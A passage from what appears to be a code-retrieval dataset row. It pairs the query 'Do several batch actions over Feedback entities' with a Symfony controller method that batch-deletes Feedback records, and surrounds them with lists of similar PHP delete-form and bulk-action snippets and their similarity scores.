"protected function createComponentDeleteRate()\r\n\t{\r\n\t\t$form = new Form;\r\n\t\t$form->addSubmit('delete', 'Smazat')->setAttribute('class', 'default');\r\n\t\t$form->addSubmit('cancel', 'Storno');\r\n\t\t$form->onSuccess[] = callback($this, 'deleteRateSubmitted');\r\n\t\t$form->addProtection(self::MESS_PROTECT);\r\n\t\treturn $form;\r\n\t}",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('skill_skillcategory_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(ComputerFormFactor $computerFormFactor)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('computerformfactor_delete', array('id' => $computerFormFactor->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('admin_partners_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array(\n 'label' => 'Supprimer',\n 'attr' => array(\n 'class' => 'btn btn-danger'\n )))\n ->getForm();\n }",
"private function createDeleteForm(Atletas $atleta) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('atletas_delete', array('id' => $atleta->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('ligne_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('questionnaire_formulaire_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n { \n \n return $this->createFormBuilder()\n ->setAction($this->generateUrl('aulas_aula_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('adtiposcomision_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cardtype_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('frontbottom_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(SvCfgDisenio $SvCfgDisenio)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('Svcfgdisenio_delete', array('id' => $SvCfgDisenio->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm(FroFacTransferencia $froFacTransferencium)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('frofactransferencia_delete', array('id' => $froFacTransferencium->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('fichepatient_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete','attr' => array('class' => 'bttn')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('dealercomponent_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm();\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('thread_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('object_objecttype_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Удалить'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n $session = $this->get(\"session\");\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('hall_delete', array('id' => $id, )))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Assignment $assignment)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('assignment_delete', array('id' => $assignment->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm(Psycho $psycho)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('psycho_delete', array('id' => $psycho->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('dzialy_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Usuń Dział' , 'attr' => array('class' => 'btn btn-danger' , 'icon' => 'times fa-fw')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('devissetup_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl($this->mesRoutes[\"delete\"], array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Supprimer'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('boncommandeligne_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('usertotask_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('performance_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('data_recipe_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n\t{\n\t\treturn $this->createFormBuilder()\n\t\t\t->setAction($this->generateUrl('admin_element_delete', array('id' => $id)))\n\t\t\t->setMethod('DELETE')\n\t\t\t->add('submit', SubmitType::class, array('label' => 'Удалить', 'attr' => array(\n\t\t\t\t'class' => 'btn btn-danger',\n\t\t\t\t'data-delete' => ''\n\t\t\t)))\n\t\t\t->getForm();\n\t}",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('event_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('whitelist_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Acteur $acteur)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('acteur_delete_homepage', array('id' => $acteur->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('finanzascategoria_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cole_deletar', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Annonce_appart $annonce_appart) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('annonce_appart_delete', array('id' => $annonce_appart->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('responseset_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Confirm Delete','attr' => array('class' => 'btn btn-danger'),))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('viaje_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Borrar'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('cosecha_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm();\n }",
"private function createDeleteForm($id)\r\n {\r\n return $this->createFormBuilder()\r\n ->setAction($this->generateUrl('utilisateur_delete', array('id' => $id)))\r\n ->setMethod('DELETE')\r\n ->add('submit', 'submit', array('label' => 'Delete'))\r\n ->getForm()\r\n ;\r\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder(null, array('attr' => array( 'id' => 'pts_del')))\n ->setAction($this->generateUrl('morus_accetic_inventory_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => $this->get('translator')->trans('btn.delete')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('business_admin_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'form.common.btn.delete', 'attr' => array('class' => 'btn btn-danger')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id) {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('business_admin_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'form.common.btn.delete', 'attr' => array('class' => 'btn btn-danger')))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('product_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function genDeleteForm($id)\n {\n return $this->createFormBuilder(null, array('attr' => array( 'id' => 'ct_del_form', 'style' => 'display:none')))\n ->setAction($this->generateUrl('morus_fas_contacts_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => $this->get('translator')->trans('btn.delete')))\n ->getForm();\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('fileops_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Delete'))\n ->getForm()\n ;\n }",
"private function createDeleteForm($id)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('posgradolineas_delete', array('id' => $id)))\n ->setMethod('DELETE')\n ->add('submit', 'submit', array('label' => 'Eliminar'))\n ->getForm()\n ;\n }",
"private function createDeleteForm(Gagnant $gagnant)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('gagnant_delete', array('id' => $gagnant->getId())))\n ->setMethod('DELETE')\n ->getForm()\n ;\n }"
] | [
"0.68579054",
"0.68252105",
"0.6701803",
"0.6629885",
"0.66005284",
"0.6557763",
"0.6539001",
"0.6434215",
"0.6433512",
"0.6387341",
"0.63639754",
"0.63607824",
"0.6343324",
"0.6337413",
"0.63353544",
"0.6335151",
"0.6329399",
"0.6321674",
"0.63099873",
"0.6306032",
"0.629761",
"0.62775034",
"0.62683725",
"0.62628335",
"0.62590104",
"0.62528163",
"0.62510544",
"0.6250691",
"0.6249234",
"0.6245722",
"0.62223005",
"0.6219975",
"0.62135977",
"0.6213452",
"0.62127316",
"0.62097484",
"0.62093604",
"0.6204053",
"0.6203739",
"0.6202544",
"0.6201305",
"0.6199867",
"0.6199022",
"0.6198173",
"0.61903435",
"0.6187575",
"0.61832976",
"0.6174824",
"0.61734796",
"0.61729264",
"0.6171397",
"0.61691195",
"0.61674523",
"0.61664593",
"0.61658096",
"0.61642915",
"0.61634505",
"0.61577576",
"0.61553943",
"0.6150737",
"0.61483955",
"0.614751",
"0.61419255",
"0.6141725",
"0.61403865",
"0.61401474",
"0.61392725",
"0.61387527",
"0.61382085",
"0.61366916",
"0.61349946",
"0.61316967",
"0.6129894",
"0.6126488",
"0.61239034",
"0.61224294",
"0.61203414",
"0.61190706",
"0.61173654",
"0.61154836",
"0.610577",
"0.6104628",
"0.6103022",
"0.61027837",
"0.6099244",
"0.6099041",
"0.60980254",
"0.6097769",
"0.6096639",
"0.6093139",
"0.6091698",
"0.60912806",
"0.6089684",
"0.6089567",
"0.6089567",
"0.60879827",
"0.60855377",
"0.60841125",
"0.60823387",
"0.60821706"
] | 0.8039429 | 0 |
Do several batch actions over Feedback entities. | public function batchAction(Request $request)
{
$action = $request->get('batch_action_do');
$ids = $request->get('batch_action_checkbox');
$recordsSelected = false;
if ($ids) {
$em = $this->getDoctrine()->getManager();
if ($action == "delete") {
foreach ($ids as $id) {
$entity = $em->getRepository('BackendBundle:Feedback')->find($id);
if (!$entity) {
throw $this->createNotFoundException('Unable to find Feedback entity.');
} else {
$em->remove($entity);
$recordsSelected = true;
}
}
if ($recordsSelected) {
$this->get('session')->getFlashBag()->add('success', 'Feedbacks deleted successfully.');
}
}
$em->flush();
}
return $this->redirect($this->generateUrl('feedback'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function batchExecute() {\n\n }",
"public function run()\n {\n $specialists = Specialist::all()->take(10);\n foreach ($specialists as $specialist) {\n $books = $specialist->books->take(10);\n foreach ($books as $book) {\n Feedback::factory()\n ->for($specialist)\n ->for($book)\n ->for($book->user)\n ->state(['name'=>null,'surname'=>null])\n ->create();\n }\n }\n// foreach ($specialists as $specialist) {\n// Feedback::factory()\n// ->for($specialist)\n// ->state(['user_id'=>null])\n// ->count(3)\n// ->create();\n// }\n }",
"public function process_bulk_action() {\n\n\t\tswitch ( $this->current_action() ) {\n\t\t\tcase 'delete':\n\t\t\t\t// This case is handled in \\WPMailSMTP\\Pro\\Emails\\Logs\\Logs::process_email_delete().\n\t\t\t\tbreak;\n\t\t}\n\t}",
"public function actions(){\n $params = func_get_args();\n\n //This should be our trade object\n $tradeObject = $params[0];\n\n $this->orders = $tradeObject->getOrders();\n\n\n foreach($this->collection as $order){\n // if we cant find our order in open orders then trigger an action\n if(!$this->orderIsOpen($order->getCurrentOrderID()))\n call_user_func_array(array($order, \"action\"), $params);\n }\n\n // Merge completed orders into one order\n // there is no good reason for this other than \n // the fact that I felt like doing it. :D\n $this->mergeCompleted();\n\n\n }",
"public function perform()\n {\n foreach ($this->actions as $action) {\n $action->perform();\n }\n }",
"public function executeActions(){\n\t\tif(!isset($this->request['do'])) return;\n\t\t\n\t\tif(!is_array($this->request['do'])){\n\t\t\t$this->request['do'] = array($this->request['do']);\n\t\t}\n\t\t\n\t\tforeach($this->request['do'] as $action){\n\t\t\t$this->action_response = array();\n\t\t\t$method = \"action_\" . $action;\n\t\t\tif(method_exists($this, $method)){\n\t\t\t\t$player_id = null;\n\t\t\t\t$game_id = null;\n\t\t\t\tif(is_object($this->session->me)) $player_id = $this->session->me->getID();\n\t\t\t\tif(is_object($this->game)) $game_id = $this->game->getID();\n\t\t\t\t$sql = new SqlManager();\n\t\t\t\t$new = array( \"action_date\" => date(\"Y-m-d H:i:s\", time()), \"action_name\" => $action, \"action_game\" => $game_id, \"action_player\" => $player_id );\n\t\t\t\t$sql->insert(\"action\", $new);\n\t\t\t\t$this->action_response[$action] = $this->$method($sql->getLastInsertID());\n\t\t\t}\n\t\t}\n\t}",
"public function getBatchActions(): array;",
"public function bulkAction()\r\n {\r\n $this->checkIfDemo();\r\n $this->AdminInterviewCategoryModel->bulkAction();\r\n }",
"public function process_bulk_action() \n\t{\n\t\t$action = $this->current_action();\n\t\t\n\t\tif ( $action and array_key_exists( $action, $this->bulkActions ) )\n\t\t{\n\t\t\t$class = $this->activeRecordClass;\n\t\t\tforeach( $_POST[ 'item' ] as $item_id )\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t$item = $class::load( $item_id );\n\t\t\t\t\tif ( is_callable( array( $item, $action ) ) )\n\t\t\t\t\t{\n\t\t\t\t\t\tcall_user_func( array( $item, $action ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tcatch( \\Exception $e ) { }\n\t\t\t}\n\t\t}\n\t}",
"public function run()\n {\n //\n for($i=0;$i<99;$i++){\n \\App\\Models\\Feedback::insert([\n 'user_id'=>rand(1,20),\n 'content'=>str_random(15),\n 'created_at'=>date('Y-m-d H:i:s',time()-rand(86400,259200))\n ]);\n }\n }",
"public function sendBulk(array $notifications);",
"public function OnAllAction() {\n\n // get current action\n $HookName= current_filter();\n $HookNameParts= explode(' (', $HookName);\n $SearchName= isset($HookNameParts[1]) ? $HookNameParts[0] : $HookName;\n\n // find profiles containing that action and execute invalidation\n foreach($this->Profiles as $Name => $Profile) {\n if (in_array($SearchName, $Profile['InvalidatingActions'])) {\n $this->GetDealer($Name)->Invalidate($HookName);\n }\n }\n\n // search in group actions and trigger custom action if found\n foreach($this->GroupActions as $Name => $List) {\n if (in_array($HookName, $List)) {\n //$this->Log(\"[GroupAction: {$Name}] triggered by action: {$HookName}\");\n do_action(\"$Name ($HookName)\");\n }\n }\n }",
"public function performMultipleAction(){\r\n\t\tif(Request::ajax()){\r\n\t\t\t$actionType = ((Input::get('type'))) ? Input::get('type') : '';\r\n\t\t\tif(!empty($actionType) && !empty(Input::get('ids'))){\r\n\t\t\t\tif($actionType\t==\t'active'){\r\n\t\t\t\t\tBlog::whereIn('id', Input::get('ids'))->update(array('status' => ACTIVE));\r\n\t\t\t\t}\r\n\t\t\t\telseif($actionType\t==\t'inactive'){\r\n\t\t\t\t\tBlog::whereIn('id', Input::get('ids'))->update(array('status' => 0));\r\n\t\t\t\t}\r\n\t\t\t\telseif($actionType\t==\t'delete'){\r\n\t\t\t\t\tBlog::whereIn('id', Input::get('ids'))->delete();\r\n\t\t\t\t}\r\n\t\t\t\tSession::flash('success', trans(\"messages.global.action_performed_message\")); \r\n\t\t\t}\r\n\t\t}\r\n\t}",
"public function bulk_actions(){\n\t\t$this->autoRender = false;\n\t\t$this->layout = false;\n\t\t\n\t\tif(!$this->_checkSession()){\n\t\t\t$this->Session->setFlash(__(\"<div class=\\\"alert alert-danger\\\" role=\\\"alert\\\">Acess Denied!</div>\"), 'flash_custom');\n\t\t\t$this->redirect(array('action'=>'login'));\n\t\t}\n\t\t\n\t\tif(!$this->request->is('post')){\n\t\t\tdie(\"Access denied!\");\n\t\t}\n\t\t$process_action = $this->request->data['process_action'];\n\t\t$process_model = $this->request->data['process_model'];\n\t\t\n\t\tswitch($process_action){\n\t\t\tcase 'delete':\n\t\t\t\t\t\tif(isset($this->request->data['item_id']) && !empty($this->request->data['item_id'])){\n\t\t\t\t\t\t\tforeach($this->request->data['item_id'] as $item_id){\n\t\t\t\t\t\t\t\t$this->$process_model->id = $item_id;\n\t\t\t\t\t\t\t\t$this->$process_model->delete();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$this->Session->setFlash(__('<div class=\"alert alert-success\" role=\"alert\">Records deleted successfully!</div>'), 'flash_custom');\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t\t\n\t\t}\n\t\t\t\n\t\t$this->redirect($this->referer());\n\t}",
"public function execute()\n {\n try {\n $collection = $this->filter->getCollection($this->collectionFactory->create());\n foreach ($collection as $item) {\n $model = $this->WebhookFactory->create()->load($item['entity_id']);\n $model->setData('status', $this->getRequest()->getParam('status'));\n $model->save();\n }\n $this->messageManager->addSuccess(__('A total of %1 record(s) were updated.', $collection->getSize()));\n } catch (\\Exception $e) {\n $this->messageManager->addError(__($e->getMessage()));\n }\n $resultRedirect = $this->resultFactory->create(ResultFactory::TYPE_REDIRECT);\n $resultRedirect->setUrl($this->_redirect->getRefererUrl());\n return $resultRedirect;\n }",
"private function executeExtraUpdates()\n {\n foreach ($this->extraUpdates as $oid => $update) {\n list ($entity, $changeset) = $update;\n $this->entityChangeSets[$oid] = $changeset;\n $this->getEntityPersister(get_class($entity))->update($entity);\n }\n $this->extraUpdates = [];\n }",
"public function run()\n {\n Sp_batch::insert([\n \t\t'batch'=>'1',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'2',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'3',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'4',\n ]);\n\n Sp_batch::insert([\n \t\t'batch'=>'5',\n ]);\n }",
"public function update_ot_batch()\n\t{\n\t\t$this->load->model('Admin_functions_model');\n\t\t$batch_count = sizeof($this->input->post('timings'));\n\t\t$main_category_id = $this->input->post('mc_id');\n\t\t$course_id = $this->input->post('cor_id');\n\n\t\tif( $this->Admin_functions_model->delete_ot_batches($main_category_id,$course_id) )\n\t\t{\n\t\t\tfor ($i=0; $i < $batch_count; $i++) {\n\t\t\t\t$form_data = array(\n\t\t\t\t\t\t\t\t'main_category_id' => $this->input->post('main_category_id'),\n\t\t\t\t\t\t\t\t'course_id' => $this->input->post('course_id'),\n\t\t\t\t\t\t\t\t'title' => $_POST['title'][$i],\n\t\t\t\t\t\t\t\t'timings' => $_POST['timings'][$i],\n\t\t\t\t\t\t\t\t'course_fee_full' => $_POST['course_fee_full'][$i],\n\t\t\t\t\t\t\t\t'course_fee_offer' => $_POST['course_fee_offer'][$i],\n\t\t\t\t\t\t\t\t'offer_untill_date' => $_POST['offer_untill_date'][$i],\n\t\t\t\t\t\t\t);\n\t\t\t\t$status = $this->Admin_functions_model->store_ot_batch($form_data);\n\t\t\t}\n\t\t}\n\n\t\tif( $status )\n\t\t{\n\t\t\t$this->session->set_flashdata('feedback', 'Batches updated successfully');\n\t\t\t$this->session->set_flashdata('feedback_class', 'alert-success');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->session->set_flashdata('feedback', 'Failed to update, Please try again');\n\t\t\t$this->session->set_flashdata('feedback_class', 'alert-danger');\n\t\t}\n\n\t\treturn redirect('Admin_functions/online_training');\n\t}",
"public function actionBatchUpdate() {\n// assuming each item is of model class 'Item'\n $items = $this->getItemsToUpdate();\n if (Model::loadMultiple($items, Yii::$app->request->post()) &&\n Model::validateMultiple($items)) {\n $count = 0;\n foreach ($items as $item) {\n// populate and save records for each model\n if ($item->save()) {\n// do something here after saving\n $count++;\n }\n }\n Yii::$app->session->setFlash('success', \"Processed {$count} records successfully.\");\n return $this->redirect(['index']); // redirect to your next desired page\n } else {\n return $this->render('update', [\n 'items' => $items,\n ]);\n }\n }",
"function process_bulk_action() {\n global $wbdb;\n \n //Detect when a bulk action is being triggered...\n if( 'delete'===$this->current_action() ) {\n #wp_die('Items deleted (or they would be if we had items to delete)!');\n #$wpdb->query(\"DELETE FROM {$wpdb->prefix}amazon_listings WHERE id = ''\",)\n }\n\n if( 'verify'===$this->current_action() ) {\n\t\t\t#echo \"<br>verify handler<br>\";\t\t\t\n }\n \n }",
"public function bulkAction()\r\n {\r\n $this->checkIfDemo();\r\n $this->AdminJobModel->bulkAction();\r\n }",
"public function preBatchAction(string $actionName, ProxyQueryInterface $query, array &$idx, bool $allElements = false): void;",
"public function bulkAction() {\n\t\t$this->_helper->ajaxgrid->massActions ();\n\t}",
"public function bulkAction() {\n\t\t$this->_helper->ajaxgrid->massActions ();\n\t}",
"public function afterBatch();",
"public function flushBatch()\n\t{\n\t\tif ($this->batching)\n\t\t{\n\t\t\t$this->batching = FALSE;\n\t\t\t\n\t\t\t$this->statpro->endBatch();\n\t\t}\n\t}",
"protected function handleBatch()\n {\n if (!($requests = $this->router->getVariable('requests'))) {\n throw new \\ApiException(\\Phork::language()->translate('Missing batch definitions'), 400);\n }\n \n if (!(is_string($requests) && $requests = json_decode($requests, true))) {\n throw new \\ApiException(\\Phork::language()->translate('Invalid batch definitions'), 400);\n }\n \n foreach ($requests as $key => $request) {\n $key = isset($request['key']) ? $request['key'] : $key;\n if (!empty($request['method']) && !empty($request['url'])) {\n switch (strtolower($request['method'])) {\n case 'get':\n list(\n $result[$key]['status'],\n $result[$key]['success'],\n $result[$key]['data'],\n ) = Api\\Internal::get($request['url'], false);\n break;\n\n case 'post':\n list(\n $result[$key]['status'],\n $result[$key]['success'],\n $result[$key]['data'],\n ) = Api\\Internal::post($request['url'], !empty($request['args']) ? $request['args'] : array(), false);\n break;\n\n case 'put':\n list(\n $result[$key]['status'],\n $result[$key]['success'],\n $result[$key]['data'],\n ) = Api\\Internal::put($request['url'], false);\n break;\n\n case 'delete':\n list(\n $result[$key]['status'],\n $result[$key]['success'],\n $result[$key]['data'],\n ) = Api\\Internal::delete($request['url'], false);\n break;\n }\n } else {\n throw new \\ApiException(\\Phork::language()->translate('Missing request type and/or URL'), 400);\n }\n }\n\n $this->success = true;\n $this->result = array(\n 'batched' => isset($result) ? $result : array()\n );\n }",
"public function action()\n {\n foreach ($this->actions as $action) {\n $action->run();\n }\n }",
"public function process_bulk_action() {\n\n if ( ! isset( $_REQUEST[ 'template' ] ) ) {\n return;\n }\n \n switch( strtolower( $this->current_action() ) ){\n case 'activate':\n do_action( 'aal_action_activate_templates', ( array ) $_REQUEST[ 'template' ], true );\n break;\n case 'deactivate':\n do_action( 'aal_action_deactivate_templates', ( array ) $_REQUEST[ 'template' ], true );\n break; \n default:\n return; // do nothing.\n }\n\n // Reload the page.\n exit( \n wp_safe_redirect( \n add_query_arg( \n array(\n 'post_type' => AmazonAutoLinks_Registry::$aPostTypes[ 'unit' ],\n 'page' => AmazonAutoLinks_Registry::$aAdminPages[ 'template' ],\n 'tab' => 'table',\n ), \n admin_url( $GLOBALS[ 'pagenow' ] ) \n )\n )\n );\n \n }",
"public function getBatchActions()\n {\n return array();\n }",
"public function process($amf)\n {\n foreach ($amf as $actionName => $input) {\n try {\n $action = app()->make('facepalm.amf.action.' . Str::lower($actionName));\n } catch (\\Exception $e) {\n //todo: unknown action\n $action = null;\n }\n if (isset($action) && $action) {\n foreach ($input as $modelName => $data) {\n $fullModelName = ModelFactory::getFullModelClassName($modelName);\n if ($fullModelName) {\n if (is_array($data)) {\n foreach ($data as $id => $keyValue) {\n /** @var AbstractEntity $object */\n $object = null;\n if ((int)$id) {\n $object = ModelFactory::find($fullModelName, $id);\n } elseif (preg_match('/\\%CREATE_[\\w]{6}\\%/i', $id)) {\n $object = new $fullModelName();\n }\n if ($object) {\n /** @var AbstractAction $action */\n $action->process($object, $keyValue, $amf);\n\n\n // todo: вот эта хуета по прежнем не нравится\n // todo: подумать про какой-нибудь объект ActionResult\n\n $affectedObjects = $action->getAffectedObjects();\n if ($affectedObjects) {\n Arr::set(\n $this->affectedObjects,\n $actionName . '.' . $modelName,\n (array)Arr::get(\n $this->affectedObjects,\n $actionName . '.' . $modelName\n ) + $affectedObjects\n );\n\n $this->affectedObjectsCount += count($affectedObjects);\n }\n\n $affectedFields = $action->getAffectedFields();\n if ($affectedFields) {\n $resultArrayPath = $actionName . '.' . class_basename($object) . '.' . $object->{CmsCommon::COLUMN_NAME_ID};\n Arr::set(\n $this->affectedFields,\n $resultArrayPath,\n (array)Arr::get($this->affectedFields, $resultArrayPath) + $affectedFields\n );\n $this->affectedFieldsCount += count($affectedFields);\n }\n }\n }\n }\n }\n }\n }\n }\n }",
"public function run()\n {\n $user = factory(User::class, 10)->create()->each(function ($user) {\n $user->feedbacks()->save(factory(Feedback::class)->make([\n 'user_email' => $user->email,\n ]));\n });\n }",
"public function massCriteriaOneAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getSingleton('bs_kst/ifeedback')->load($ifeedbackId)\n ->setCriteriaOne($this->getRequest()->getParam('flag_criteria_one'))\n ->setIsMassupdate(true)\n ->save();\n }\n $this->_getSession()->addSuccess(\n $this->__('Total of %d instructor feedbacks were successfully updated.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error updating instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"public function run()\n {\n factory(Feedback::class, 10)->create()->each(function ($feedback) {\n \n }); \n }",
"public function process_bulk_action()\n {\n if ('update' === $this->current_action()) {\n wp_die('Items deleted (or they would be if we had items to delete)!');\n }\n }",
"public function sendBulk(array $notifications)\n {\n foreach ($notifications as $notification) {\n $this->send($notification);\n }\n }",
"public function dispatch()\r\n {\r\n foreach($this->broadcast as $event => $data) {\r\n $this->execute($event);\r\n }\r\n }",
